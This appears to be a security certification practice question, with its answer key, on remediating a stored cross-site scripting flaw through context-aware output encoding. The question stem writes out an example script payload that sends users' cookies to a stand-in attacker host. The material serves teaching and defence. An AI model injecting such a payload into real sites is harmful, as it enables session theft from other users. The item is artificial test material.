A code review reveals that a web application takes user-submitted comment text and inserts it directly into the HTML response without modification. A tester submits a comment containing `<script>document.location='http://evil.example/steal?c='+document.cookie</script>`, and the script executes in other users' browsers whenever they view the comment. Which secure coding practice would most directly remediate this vulnerability?
- ADisabling directory listing on the web server
- BEnforcing account lockout after repeated failed login attempts
- CApplying context-aware output encoding to user input before it is rendered in the HTML page
- DUsing parameterized queries for all database access
Show answer & explanationAnswer & explanation
Correct answer: C. Applying context-aware output encoding to user input before it is rendered in the HTML page
This is a stored Cross-Site Scripting (XSS) vulnerability caused by rendering untrusted input as executable HTML/JavaScript. Encoding output for the HTML context (converting characters like < and > to entities) neutralizes the injected script so it is displayed as text rather than executed, directly addressing the root cause.
Why the other options are wrong
- A. Directory listing controls information disclosure of files, not script injection.
- B. Account lockout addresses brute-force login attacks, unrelated to XSS.
- D. Parameterized queries prevent SQL injection, not script injection into HTML output.
Output Encoding
A secure coding practice that converts special characters in untrusted data into a safe representation (e.g., HTML entities) for the specific output context before rendering, preventing injected code from being interpreted as executable markup or script.
- Primary defense against Cross-Site Scripting (XSS)
- Must be context-aware: HTML, JavaScript, URL, and attribute contexts each need different encoding
- Complements, but does not replace, input validation
Memory trick: Encode the output so a <script> tag just becomes harmless text on the page.